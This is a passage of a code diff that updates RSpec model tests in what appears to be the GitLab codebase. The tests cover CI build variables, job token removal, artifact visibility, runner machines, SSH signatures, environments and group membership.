+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_KEY_ID' }).to be_nil
+ end
+ end
+ end
+
+ context 'when the apple_app_store integration does not exist' do
+ it 'does not include apple_app_store variables' do
+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_ISSUER_ID' }).to be_nil
+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_KEY' }).to be_nil
+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_KEY_ID' }).to be_nil
+ end
+ end
+ end
+
context 'when build has dependency which has dotenv variable' do
let!(:prepare) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
let!(:build) { create(:ci_build, pipeline: pipeline, stage_idx: 1, options: { dependencies: [prepare.name] }) }
@@ -5664,17 +5723,22 @@ RSpec.describe Ci::Build, feature_category: :continuous_integration do
expect(prefix).to eq(ci_testing_partition_id)
end
+ end
- context 'when ci_build_partition_id_token_prefix is disabled' do
- before do
- stub_feature_flags(ci_build_partition_id_token_prefix: false)
- end
+ describe '#remove_token!' do
+ it 'removes the token' do
+ expect(build.token).to be_present
- it 'does not include partition_id as a token prefix' do
- prefix = ci_build.token.split('_').first.to_i(16)
+ build.remove_token!
- expect(prefix).not_to eq(ci_testing_partition_id)
- end
+ expect(build.token).to be_nil
+ expect(build.changes).to be_empty
+ end
+
+ it 'does not remove the token when FF is disabled' do
+ stub_feature_flags(remove_job_token_on_completion: false)
+
+ expect { build.remove_token! }.not_to change(build, :token)
end
end
end
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 18aaab1d1f3..a1fd51f60ea 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -134,6 +134,38 @@ RSpec.describe Ci::JobArtifact do
end
end
+ describe 'artifacts_public?' do
+ subject { artifact.public_access? }
+
+ context 'when job artifact created by default' do
+ let!(:artifact) { create(:ci_job_artifact) }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when job artifact created as public' do
+ let!(:artifact) { create(:ci_job_artifact, :public) }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when job artifact created as private' do
+ let!(:artifact) { build(:ci_job_artifact, :private) }
+
+ it { is_expected.to be_falsey }
+
+ context 'and the non_public_artifacts feature flag is disabled' do
+ let!(:artifact) { build(:ci_job_artifact, :private) }
+
+ before do
+ stub_feature_flags(non_public_artifacts: false)
+ end
+
+ it { is_expected.to be_truthy }
+ end
+ end
+ end
+
describe '.file_types_for_report' do
it 'returns the report file types for the report type' do
expect(described_class.file_types_for_report(:test)).to match_array(%w[junit])
@@ -690,8 +722,8 @@ RSpec.describe Ci::JobArtifact do
end
it 'updates project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(project, :build_artifacts_size, -job_artifact.file.size)
+ expect(ProjectStatistics).to receive(:bulk_increment_statistic).once
+ .with(project, :build_artifacts_size, [have_attributes(amount: -job_artifact.file.size)])
pipeline.destroy!
end
diff --git a/spec/models/ci/namespace_mirror_spec.rb b/spec/models/ci/namespace_mirror_spec.rb
index 29447cbc89d..63e6e9e6b26 100644
--- a/spec/models/ci/namespace_mirror_spec.rb
+++ b/spec/models/ci/namespace_mirror_spec.rb
@@ -96,7 +96,7 @@ RSpec.describe Ci::NamespaceMirror do
describe '.by_namespace_id' do
subject(:result) { described_class.by_namespace_id(group2.id) }
- it 'returns namesapce mirrors of namespace id' do
+ it 'returns namespace mirrors of namespace id' do
expect(result).to contain_exactly(group2.ci_namespace_mirror)
end
end
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index b72693d9994..5888f9d109c 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
+RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep, feature_category: :continuous_integration do
include ProjectForksHelper
include StubRequests
include Ci::SourcePipelineHelpers
@@ -1322,6 +1322,21 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ context 'when tag is not found' do
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, ref: 'not_found_tag', tag: true)
+ end
+
+ it 'does not expose tag variables' do
+ expect(subject.to_hash.keys)
+ .not_to include(
+ 'CI_COMMIT_TAG',
+ 'CI_COMMIT_TAG_MESSAGE',
+ 'CI_BUILD_TAG'
+ )
+ end
+ end
+
context 'without a commit' do
let(:pipeline) { build(:ci_empty_pipeline, :created, sha: nil) }
diff --git a/spec/models/ci/runner_machine_spec.rb b/spec/models/ci/runner_machine_spec.rb
new file mode 100644
index 00000000000..e39f987110f
--- /dev/null
+++ b/spec/models/ci/runner_machine_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::RunnerMachine, feature_category: :runner_fleet, type: :model do
+ it_behaves_like 'having unique enum values'
+
+ it { is_expected.to belong_to(:runner) }
+
+ describe 'validation' do
+ it { is_expected.to validate_presence_of(:runner) }
+ it { is_expected.to validate_presence_of(:machine_xid) }
+ it { is_expected.to validate_length_of(:machine_xid).is_at_most(64) }
+ it { is_expected.to validate_length_of(:version).is_at_most(2048) }
+ it { is_expected.to validate_length_of(:revision).is_at_most(255) }
+ it { is_expected.to validate_length_of(:platform).is_at_most(255) }
+ it { is_expected.to validate_length_of(:architecture).is_at_most(255) }
+ it { is_expected.to validate_length_of(:ip_address).is_at_most(1024) }
+
+ context 'when runner has config' do
+ it 'is valid' do
+ runner_machine = build(:ci_runner_machine, config: { gpus: "all" })
+
+ expect(runner_machine).to be_valid
+ end
+ end
+
+ context 'when runner has an invalid config' do
+ it 'is invalid' do
+ runner_machine = build(:ci_runner_machine, config: { test: 1 })
+
+ expect(runner_machine).not_to be_valid
+ end
+ end
+ end
+
+ describe '.stale', :freeze_time do
+ subject { described_class.stale.ids }
+
+ let!(:runner_machine1) { create(:ci_runner_machine, created_at: 8.days.ago, contacted_at: 7.days.ago) }
+ let!(:runner_machine2) { create(:ci_runner_machine, created_at: 7.days.ago, contacted_at: nil) }
+ let!(:runner_machine3) { create(:ci_runner_machine, created_at: 5.days.ago, contacted_at: nil) }
+ let!(:runner_machine4) do
+ create(:ci_runner_machine, created_at: (7.days - 1.second).ago, contacted_at: (7.days - 1.second).ago)
+ end
+
+ it 'returns stale runner machines' do
+ is_expected.to match_array([runner_machine1.id, runner_machine2.id])
+ end
+ end
+end
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index 803b766c822..b7c7b67b98f 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -11,6 +11,13 @@ RSpec.describe Ci::Runner, feature_category: :runner do
let(:factory_name) { :ci_runner }
end
+ context 'loose foreign key on ci_runners.creator_id' do
+ it_behaves_like 'cleanup by a loose foreign key' do
+ let!(:parent) { create(:user) }
+ let!(:model) { create(:ci_runner, creator: parent) }
+ end
+ end
+
describe 'groups association' do
# Due to other associations such as projects this whole spec is allowed to
# generate cross-database queries. So we have this temporary spec to
@@ -530,7 +537,7 @@ RSpec.describe Ci::Runner, feature_category: :runner do
end
end
- describe '.stale' do
+ describe '.stale', :freeze_time do
subject { described_class.stale }
let!(:runner1) { create(:ci_runner, :instance, created_at: 4.months.ago, contacted_at: 3.months.ago + 10.seconds) }
@@ -1090,6 +1097,23 @@ RSpec.describe Ci::Runner, feature_category: :runner do
expect(runner.runner_version).to be_nil
end
+
+ context 'with only ip_address specified', :freeze_time do
+ subject(:heartbeat) do
+ runner.heartbeat(ip_address: '1.1.1.1')
+ end
+
+ it 'updates only ip_address' do
+ attrs = Gitlab::Json.dump(ip_address: '1.1.1.1', contacted_at: Time.current)
+
+ Gitlab::Redis::Cache.with do |redis|
+ redis_key = runner.send(:cache_attribute_key)
+ expect(redis).to receive(:set).with(redis_key, attrs, any_args)
+ end
+
+ heartbeat
+ end
+ end
end
context 'when database was not updated recently' do
diff --git a/spec/models/ci/runner_version_spec.rb b/spec/models/ci/runner_version_spec.rb
index 552b271fe85..dfaa2201859 100644
--- a/spec/models/ci/runner_version_spec.rb
+++ b/spec/models/ci/runner_version_spec.rb
@@ -35,12 +35,6 @@ RSpec.describe Ci::RunnerVersion, feature_category: :runner_fleet do
end
describe 'validation' do
- context 'when runner version is too long' do
- let(:runner_version) { build(:ci_runner_version, version: 'a' * 2049) }
-
- it 'is not valid' do
- expect(runner_version).to be_invalid
- end
- end
+ it { is_expected.to validate_length_of(:version).is_at_most(2048) }
end
end
diff --git a/spec/models/clusters/providers/aws_spec.rb b/spec/models/clusters/providers/aws_spec.rb
index 2afed663edf..cb2960e1557 100644
--- a/spec/models/clusters/providers/aws_spec.rb
+++ b/spec/models/clusters/providers/aws_spec.rb
@@ -75,39 +75,6 @@ RSpec.describe Clusters::Providers::Aws do
end
end
- describe '#api_client' do
- let(:provider) { create(:cluster_provider_aws) }
- let(:credentials) { double }
- let(:client) { double }
-
- subject { provider.api_client }
-
- before do
- allow(provider).to receive(:credentials).and_return(credentials)
-
- expect(Aws::CloudFormation::Client).to receive(:new)
- .with(credentials: credentials, region: provider.region)
- .and_return(client)
- end
-
- it { is_expected.to eq client }
- end
-
- describe '#credentials' do
- let(:provider) { create(:cluster_provider_aws) }
- let(:credentials) { double }
-
- subject { provider.credentials }
-
- before do
- expect(Aws::Credentials).to receive(:new)
- .with(provider.access_key_id, provider.secret_access_key, provider.session_token)
- .and_return(credentials)
- end
-
- it { is_expected.to eq credentials }
- end
-
describe '#created_by_user' do
let(:provider) { create(:cluster_provider_aws) }
diff --git a/spec/models/clusters/providers/gcp_spec.rb b/spec/models/clusters/providers/gcp_spec.rb
index a1f00069937..afd5699091a 100644
--- a/spec/models/clusters/providers/gcp_spec.rb
+++ b/spec/models/clusters/providers/gcp_spec.rb
@@ -111,31 +111,6 @@ RSpec.describe Clusters::Providers::Gcp do
end
end
- describe '#api_client' do
- subject { gcp.api_client }
-
- context 'when status is creating' do
- let(:gcp) { build(:cluster_provider_gcp, :creating) }
-
- it 'returns Cloud Platform API clinet' do
- expect(subject).to be_an_instance_of(GoogleApi::CloudPlatform::Client)
- expect(subject.access_token).to eq(gcp.access_token)
- end
- end
-
- context 'when status is created' do
- let(:gcp) { build(:cluster_provider_gcp, :created) }
-
- it { is_expected.to be_nil }
- end
-
- context 'when status is errored' do
- let(:gcp) { build(:cluster_provider_gcp, :errored) }
-
- it { is_expected.to be_nil }
- end
- end
-
describe '#nullify_credentials' do
let(:provider) { create(:cluster_provider_gcp, :creating) }
diff --git a/spec/models/commit_collection_spec.rb b/spec/models/commit_collection_spec.rb
index 93c696cae54..6dd34c3e21f 100644
--- a/spec/models/commit_collection_spec.rb
+++ b/spec/models/commit_collection_spec.rb
@@ -15,26 +15,34 @@ RSpec.describe CommitCollection do
end
describe '.committers' do
+ subject(:collection) { described_class.new(project, [commit]) }
+
it 'returns a relation of users when users are found' do
user = create(:user, email: commit.committer_email.upcase)
- collection = described_class.new(project, [commit])
expect(collection.committers).to contain_exactly(user)
end
it 'returns empty array when committers cannot be found' do
- collection = described_class.new(project, [commit])
-
expect(collection.committers).to be_empty
end
it 'excludes authors of merge commits' do
commit = project.commit("60ecb67744cb56576c30214ff52294f8ce2def98")
create(:user, email: commit.committer_email.upcase)
- collection = described_class.new(project, [commit])
expect(collection.committers).to be_empty
end
+
+ context 'when committer email is nil' do
+ before do
+ allow(commit).to receive(:committer_email).and_return(nil)
+ end
+
+ it 'returns empty array when committers cannot be found' do
+ expect(collection.committers).to be_empty
+ end
+ end
end
describe '#without_merge_commits' do
diff --git a/spec/models/commit_signatures/ssh_signature_spec.rb b/spec/models/commit_signatures/ssh_signature_spec.rb
index 629d9c5ec53..235fd099c93 100644
--- a/spec/models/commit_signatures/ssh_signature_spec.rb
+++ b/spec/models/commit_signatures/ssh_signature_spec.rb
@@ -2,24 +2,30 @@
require 'spec_helper'
-RSpec.describe CommitSignatures::SshSignature do
+RSpec.describe CommitSignatures::SshSignature, feature_category: :source_code_management do
# This commit is seeded from https://gitlab.com/gitlab-org/gitlab-test
# For instructions on how to add more seed data, see the project README
let_it_be(:commit_sha) { '7b5160f9bb23a3d58a0accdbe89da13b96b1ece9' }
let_it_be(:project) { create(:project, :repository, path: 'sample-project') }
let_it_be(:commit) { create(:commit, project: project, sha: commit_sha) }
let_it_be(:ssh_key) { create(:ed25519_key_256) }
+ let_it_be(:user) { ssh_key.user }
+ let_it_be(:key_fingerprint) { ssh_key.fingerprint_sha256 }
+
+ let(:signature) do
+ create(:ssh_signature, commit_sha: commit_sha, key: ssh_key, key_fingerprint_sha256: key_fingerprint, user: user)
+ end
let(:attributes) do
{
commit_sha: commit_sha,
project: project,
- key: ssh_key
+ key: ssh_key,
+ key_fingerprint_sha256: key_fingerprint,
+ user: user
}
end
- let(:signature) { create(:ssh_signature, commit_sha: commit_sha, key: ssh_key) }
-
it_behaves_like 'having unique enum values'
it_behaves_like 'commit signature'
it_behaves_like 'signature with type checking', :ssh
@@ -39,9 +45,31 @@ RSpec.describe CommitSignatures::SshSignature do
end
end
+ describe '#key_fingerprint_sha256' do
+ it 'returns the fingerprint_sha256 associated with the SSH key' do
+ expect(signature.key_fingerprint_sha256).to eq(key_fingerprint)
+ end
+
+ context 'when the SSH key is no longer associated with the signature' do
+ it 'returns the fingerprint_sha256 stored in signature' do
+ signature.update!(key_id: nil)
+
+ expect(signature.key_fingerprint_sha256).to eq(key_fingerprint)
+ end
+ end
+ end
+
describe '#signed_by_user' do
it 'returns the user associated with the SSH key' do
expect(signature.signed_by_user).to eq(ssh_key.user)
end
+
+ context 'when the SSH key is no longer associated with the signature' do
+ it 'returns the user stored in signature' do
+ signature.update!(key_id: nil)
+
+ expect(signature.signed_by_user).to eq(user)
+ end
+ end
end
end
diff --git a/spec/models/commit_spec.rb b/spec/models/commit_spec.rb
index 4b5aabe745b..36d0e37454d 100644
--- a/spec/models/commit_spec.rb
+++ b/spec/models/commit_spec.rb
@@ -847,20 +847,6 @@ eos
expect(unsigned_commit.has_signature?).to be_falsey
expect(commit.has_signature?).to be_falsey
end
-
- context 'when feature flag "ssh_commit_signatures" is disabled' do
- before do
- stub_feature_flags(ssh_commit_signatures: false)
- end
-
- it 'reports no signature' do
- expect(ssh_signed_commit).not_to have_signature
- end
-
- it 'does not return signature data' do
- expect(ssh_signed_commit.signature).to be_nil
- end
- end
end
describe '#has_been_reverted?' do
diff --git a/spec/models/concerns/counter_attribute_spec.rb b/spec/models/concerns/counter_attribute_spec.rb
index 1dd9b78d642..c8224c64ba2 100644
--- a/spec/models/concerns/counter_attribute_spec.rb
+++ b/spec/models/concerns/counter_attribute_spec.rb
@@ -37,6 +37,50 @@ RSpec.describe CounterAttribute, :counter_attribute, :clean_gitlab_redis_shared_
end
end
+ describe '#initiate_refresh!' do
+ context 'when counter attribute is enabled' do
+ let(:attribute) { :build_artifacts_size }
+
+ it 'initiates refresh on the BufferedCounter' do
+ expect_next_instance_of(Gitlab::Counters::BufferedCounter, model, attribute) do |counter|
+ expect(counter).to receive(:initiate_refresh!)
+ end
+
+ model.initiate_refresh!(attribute)
+ end
+ end
+
+ context 'when counter attribute is not enabled' do
+ let(:attribute) { :snippets_size }
+
+ it 'raises error' do
+ expect { model.initiate_refresh!(attribute) }.to raise_error(ArgumentError)
+ end
+ end
+ end
+
+ describe '#finalize_refresh' do
+ let(:attribute) { :build_artifacts_size }
+
+ context 'when counter attribute is enabled' do
+ it 'initiates refresh on the BufferedCounter' do
+ expect_next_instance_of(Gitlab::Counters::BufferedCounter, model, attribute) do |counter|
+ expect(counter).to receive(:finalize_refresh)
+ end
+
+ model.finalize_refresh(attribute)
+ end
+ end
+
+ context 'when counter attribute is not enabled' do
+ let(:attribute) { :snippets_size }
+
+ it 'raises error' do
+ expect { model.finalize_refresh(attribute) }.to raise_error(ArgumentError)
+ end
+ end
+ end
+
describe '#counter' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/models/concerns/has_user_type_spec.rb b/spec/models/concerns/has_user_type_spec.rb
index 462b28f99be..bd128112113 100644
--- a/spec/models/concerns/has_user_type_spec.rb
+++ b/spec/models/concerns/has_user_type_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe User do
specify 'types consistency checks', :aggregate_failures do
expect(described_class::USER_TYPES.keys)
- .to match_array(%w[human ghost alert_bot project_bot support_bot service_user security_bot visual_review_bot migration_bot automation_bot admin_bot])
+ .to match_array(%w[human ghost alert_bot project_bot support_bot service_user security_bot visual_review_bot
+ migration_bot automation_bot admin_bot suggested_reviewers_bot])
expect(described_class::USER_TYPES).to include(*described_class::BOT_USER_TYPES)
expect(described_class::USER_TYPES).to include(*described_class::NON_INTERNAL_USER_TYPES)
expect(described_class::USER_TYPES).to include(*described_class::INTERNAL_USER_TYPES)
diff --git a/spec/models/concerns/noteable_spec.rb b/spec/models/concerns/noteable_spec.rb
index 82aca13c929..383ed68816e 100644
--- a/spec/models/concerns/noteable_spec.rb
+++ b/spec/models/concerns/noteable_spec.rb
@@ -63,6 +63,82 @@ RSpec.describe Noteable do
end
end
+ # rubocop:disable RSpec/MultipleMemoizedHelpers
+ describe '#commenters' do
+ shared_examples 'commenters' do
+ it 'does not automatically include the noteable author' do
+ expect(commenters).not_to include(noteable.author)
+ end
+
+ context 'with no user' do
+ it 'contains a distinct list of non-internal note authors' do
+ expect(commenters).to contain_exactly(commenter, another_commenter)
+ end
+ end
+
+ context 'with non project member' do
+ let(:current_user) { create(:user) }
+
+ it 'contains a distinct list of non-internal note authors' do
+ expect(commenters).to contain_exactly(commenter, another_commenter)
+ end
+
+ it 'does not include a commenter from another noteable' do
+ expect(commenters).not_to include(other_noteable_commenter)
+ end
+ end
+ end
+
+ let_it_be(:commenter) { create(:user) }
+ let_it_be(:another_commenter) { create(:user) }
+ let_it_be(:internal_commenter) { create(:user) }
+ let_it_be(:other_noteable_commenter) { create(:user) }
+
+ let(:current_user) {}
+ let(:commenters) { noteable.commenters(user: current_user) }
+
+ let!(:comments) { create_list(:note, 2, author: commenter, noteable: noteable, project: noteable.project) }
+ let!(:more_comments) { create_list(:note, 2, author: another_commenter, noteable: noteable, project: noteable.project) }
+
+ context 'when noteable is an issue' do
+ let(:noteable) { create(:issue) }
+
+ let!(:internal_comments) { create_list(:note, 2, author: internal_commenter, noteable: noteable, project: noteable.project, internal: true) }
+ let!(:other_noteable_comments) { create_list(:note, 2, author: other_noteable_commenter, noteable: create(:issue, project: noteable.project), project: noteable.project) }
+
+ it_behaves_like 'commenters'
+
+ context 'with reporter' do
+ let(:current_user) { create(:user) }
+
+ before do
+ noteable.project.add_reporter(current_user)
+ end
+
+ it 'contains a distinct list of non-internal note authors' do
+ expect(commenters).to contain_exactly(commenter, another_commenter, internal_commenter)
+ end
+
+ context 'with noteable author' do
+ let(:current_user) { noteable.author }
+
+ it 'contains a distinct list of non-internal note authors' do
+ expect(commenters).to contain_exactly(commenter, another_commenter, internal_commenter)
+ end
+ end
+ end
+ end
+
+ context 'when noteable is a merge request' do
+ let(:noteable) { create(:merge_request) }
+
+ let!(:other_noteable_comments) { create_list(:note, 2, author: other_noteable_commenter, noteable: create(:merge_request, source_project: noteable.project, source_branch: 'feat123'), project: noteable.project) }
+
+ it_behaves_like 'commenters'
+ end
+ end
+ # rubocop:enable RSpec/MultipleMemoizedHelpers
+
describe '#discussion_ids_relation' do
it 'returns ordered discussion_ids' do
discussion_ids = subject.discussion_ids_relation.pluck(:discussion_id)
diff --git a/spec/models/concerns/safely_change_column_default_spec.rb b/spec/models/concerns/safely_change_column_default_spec.rb
new file mode 100644
index 00000000000..36782170eaf
--- /dev/null
+++ b/spec/models/concerns/safely_change_column_default_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SafelyChangeColumnDefault, feature_category: :database do
+ include Gitlab::Database::DynamicModelHelpers
+ before do
+ ApplicationRecord.connection.execute(<<~SQL)
+ CREATE TABLE _test_gitlab_main_data(
+ id bigserial primary key not null,
+ value bigint default 1
+ );
+ SQL
+ end
+
+ let!(:model) do
+ define_batchable_model('_test_gitlab_main_data', connection: ApplicationRecord.connection).tap do |model|
+ model.include(described_class)
+ model.columns_changing_default(:value)
+ model.columns # Force the schema cache to populate
+ end
+ end
+
+ def alter_default(new_default)
+ ApplicationRecord.connection.execute(<<~SQL)
+ ALTER TABLE _test_gitlab_main_data ALTER COLUMN value SET DEFAULT #{new_default}
+ SQL
+ end
+
+ def recorded_insert_queries(&block)
+ recorder = ActiveRecord::QueryRecorder.new
+ recorder.record(&block)
+
+ recorder.log.select { |q| q.include?('INSERT INTO') }
+ end
+
+ def query_includes_value_column?(query)
+ parsed = PgQuery.parse(query)
+ parsed.tree.stmts.first.stmt.insert_stmt.cols.any? { |node| node.res_target.name == 'value' }
+ end
+
+ it 'forces the column to be written on a change' do
+ queries = recorded_insert_queries do
+ model.create!(value: 1)
+ end
+
+ expect(queries.length).to eq(1)
+
+ expect(query_includes_value_column?(queries.first)).to be_truthy
+ end
+
+ it 'does not write the column without a change' do
+ queries = recorded_insert_queries do
+ model.create!
+ end
+
+ expect(queries.length).to eq(1)
+ expect(query_includes_value_column?(queries.first)).to be_falsey
+ end
+
+ it 'does not send the old column value if the default has changed' do
+ alter_default(2)
+ model.create!
+
+ expect(model.pluck(:value)).to contain_exactly(2)
+ end
+
+ it 'prevents writing new default in place of the old default' do
+ alter_default(2)
+
+ model.create!(value: 1)
+
+ expect(model.pluck(:value)).to contain_exactly(1)
+ end
+end
diff --git a/spec/models/concerns/sensitive_serializable_hash_spec.rb b/spec/models/concerns/sensitive_serializable_hash_spec.rb
index 591a4383a03..0bfd2d6a7de 100644
--- a/spec/models/concerns/sensitive_serializable_hash_spec.rb
+++ b/spec/models/concerns/sensitive_serializable_hash_spec.rb
@@ -95,7 +95,7 @@ RSpec.describe SensitiveSerializableHash do
expect(model.attributes).to include(attribute) # double-check the attribute does exist
expect(model.serializable_hash).not_to include(attribute)
- expect(model.to_json).not_to include(attribute)
+ expect(model.to_json).not_to match(/\b#{attribute}\b/)
expect(model.as_json).not_to include(attribute)
end
end
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index fb3883820fd..f0fdc62e6c7 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -170,18 +170,7 @@ RSpec.describe Deployment do
end
end
- it 'executes Deployments::DropOlderDeploymentsWorker asynchronously' do
- stub_feature_flags(prevent_outdated_deployment_jobs: false)
-
- expect(Deployments::DropOlderDeploymentsWorker)
- .to receive(:perform_async).once.with(deployment.id)
-
- deployment.run!
- end
-
- it 'does not execute Deployments::DropOlderDeploymentsWorker when FF enabled' do
- stub_feature_flags(prevent_outdated_deployment_jobs: true)
-
+ it 'does not execute Deployments::DropOlderDeploymentsWorker' do
expect(Deployments::DropOlderDeploymentsWorker)
.not_to receive(:perform_async).with(deployment.id)
@@ -413,6 +402,16 @@ RSpec.describe Deployment do
it { is_expected.to be_falsey }
end
+
+ context 'when environment is undefined' do
+ let(:deployment) { build(:deployment, :success, project: project, environment: environment) }
+
+ before do
+ deployment.environment = nil
+ end
+
+ it { is_expected.to be_falsey }
+ end
end
describe '#success?' do
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index 2670127442e..0d53ebdefe9 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Environment, :use_clean_rails_memory_store_caching do
+RSpec.describe Environment, :use_clean_rails_memory_store_caching, feature_category: :continuous_delivery do
include ReactiveCachingHelpers
using RSpec::Parameterized::TableSyntax
include RepoHelpers
@@ -2029,4 +2029,40 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
subject
end
end
+
+ describe '#deployed_and_updated_before' do
+ subject do
+ described_class.deployed_and_updated_before(project_id, before)
+ end
+
+ let(:project_id) { project.id }
+ let(:before) { 1.week.ago.to_date.to_s }
+ let(:environment) { create(:environment, project: project, updated_at: 2.weeks.ago) }
+ let!(:stale_deployment) { create(:deployment, environment: environment, updated_at: 2.weeks.ago) }
+
+ it 'excludes environments with recent deployments' do
+ create(:deployment, environment: environment, updated_at: Date.current)
+
+ is_expected.to match_array([])
+ end
+
+ it 'includes environments with no deployments' do
+ environment1 = create(:environment, project: project, updated_at: 2.weeks.ago)
+
+ is_expected.to match_array([environment, environment1])
+ end
+
+ it 'excludes environments that have been recently updated with no deployments' do
+ create(:environment, project: project)
+
+ is_expected.to match_array([environment])
+ end
+
+ it 'excludes environments that have been recently updated with stale deployments' do
+ environment1 = create(:environment, project: project)
+ create(:deployment, environment: environment1, updated_at: 2.weeks.ago)
+
+ is_expected.to match_array([environment])
+ end
+ end
end
diff --git a/spec/models/event_collection_spec.rb b/spec/models/event_collection_spec.rb
index 40b7930f02b..13983dcfde3 100644
--- a/spec/models/event_collection_spec.rb
+++ b/spec/models/event_collection_spec.rb
@@ -89,6 +89,25 @@ RSpec.describe EventCollection do
expect(events).to contain_exactly(closed_issue_event)
end
+ context 'when there are multiple issue events' do
+ let!(:work_item_event) do
+ create(
+ :event,
+ :created,
+ project: project,
+ target: create(:work_item, :task, project: project),
+ target_type: 'WorkItem'
+ )
+ end
+
+ it 'includes work item events too' do
+ filter = EventFilter.new(EventFilter::ISSUE)
+ events = described_class.new(projects, filter: filter).to_a
+
+ expect(events).to contain_exactly(closed_issue_event, work_item_event)
+ end
+ end
+
it 'allows filtering of events using an EventFilter, returning several items' do
filter = EventFilter.new(EventFilter::MERGED)
events = described_class.new(projects, filter: filter).to_a
diff --git a/spec/models/event_spec.rb b/spec/models/event_spec.rb
index 667f3ddff72..f170eeb5841 100644
--- a/spec/models/event_spec.rb
+++ b/spec/models/event_spec.rb
@@ -102,7 +102,20 @@ RSpec.describe Event, feature_category: :users do
end
describe 'scopes' do
- describe 'created_at' do
+ describe '.for_issue' do
+ let(:issue_event) { create(:event, :for_issue, project: project) }
+ let(:work_item_event) { create(:event, :for_work_item, project: project) }
+
+ before do
+ create(:event, :for_design, project: project)
+ end
+
+ it 'returns events for Issue and WorkItem target_type' do
+ expect(described_class.for_issue).to contain_exactly(issue_event, work_item_event)
+ end
+ end
+
+ describe '.created_at' do
it 'can find the right event' do
time = 1.day.ago
event = create(:event, created_at: time, project: project)
diff --git a/spec/models/factories_spec.rb b/spec/models/factories_spec.rb
index 4915c0bd870..d6e746986d6 100644
--- a/spec/models/factories_spec.rb
+++ b/spec/models/factories_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
# `:saas` is used to test `gitlab_subscription` factory.
# It's not available on FOSS but also this very factory is not.
-RSpec.describe 'factories', :saas do
+RSpec.describe 'factories', :saas, :with_license, feature_category: :tooling do
include Database::DatabaseHelpers
# Used in `skipped` and indicates whether to skip any traits including the
@@ -188,7 +188,13 @@ RSpec.describe 'factories', :saas do
before do
factories_based_on_view.each do |factory|
view = build(factory).class.table_name
- swapout_view_for_table(view)
+ view_gitlab_schema = Gitlab::Database::GitlabSchema.table_schema(view)
+ Gitlab::Database.database_base_models.each_value.select do |base_model|
+ connection = base_model.connection
+ next unless Gitlab::Database.gitlab_schemas_for_connection(connection).include?(view_gitlab_schema)
+
+ swapout_view_for_table(view, connection: connection)
+ end
end
end
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index dfba0470d35..4605c086763 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Group do
+RSpec.describe Group, feature_category: :subgroups do
include ReloadHelpers
include StubGitlabCalls
@@ -11,9 +11,11 @@ RSpec.describe Group do
describe 'associations' do
it { is_expected.to have_many :projects }
it { is_expected.to have_many(:group_members).dependent(:destroy) }
+ it { is_expected.to have_many(:namespace_members) }
it { is_expected.to have_many(:users).through(:group_members) }
it { is_expected.to have_many(:owners).through(:group_members) }
it { is_expected.to have_many(:requesters).dependent(:destroy) }
+ it { is_expected.to have_many(:namespace_requesters) }
it { is_expected.to have_many(:members_and_requesters) }
it { is_expected.to have_many(:project_group_links).dependent(:destroy) }
it { is_expected.to have_many(:shared_projects).through(:project_group_links) }
@@ -45,7 +47,7 @@ RSpec.describe Group do
it { is_expected.to have_one(:group_feature) }
it { is_expected.to have_one(:harbor_integration) }
- describe '#members & #requesters' do
+ describe '#namespace_members' do
let(:requester) { create(:user) }
let(:developer) { create(:user) }
@@ -54,6 +56,98 @@ RSpec.describe Group do
group.add_developer(developer)
end
+ it 'includes the correct users' do
+ expect(group.namespace_members).to include Member.find_by(user: developer)
+ expect(group.namespace_members).not_to include Member.find_by(user: requester)
+ end
+
+ it 'is equivelent to #group_members' do
+ expect(group.namespace_members).to eq group.group_members
+ end
+
+ it_behaves_like 'query without source filters' do
+ subject { group.namespace_members }
+ end
+ end
+
+ describe '#namespace_requesters' do
+ let(:requester) { create(:user) }
+ let(:developer) { create(:user) }
+
+ before do
+ group.request_access(requester)
+ group.add_developer(developer)
+ end
+
+ it 'includes the correct users' do
+ expect(group.namespace_requesters).to include Member.find_by(user: requester)
+ expect(group.namespace_requesters).not_to include Member.find_by(user: developer)
+ end
+
+ it 'is equivalent to #requesters' do
+ expect(group.namespace_requesters).to eq group.requesters
+ end
+
+ it_behaves_like 'query without source filters' do
+ subject { group.namespace_requesters }
+ end
+ end
+
+ shared_examples 'polymorphic membership relationship' do
+ it do
+ expect(membership.attributes).to include(
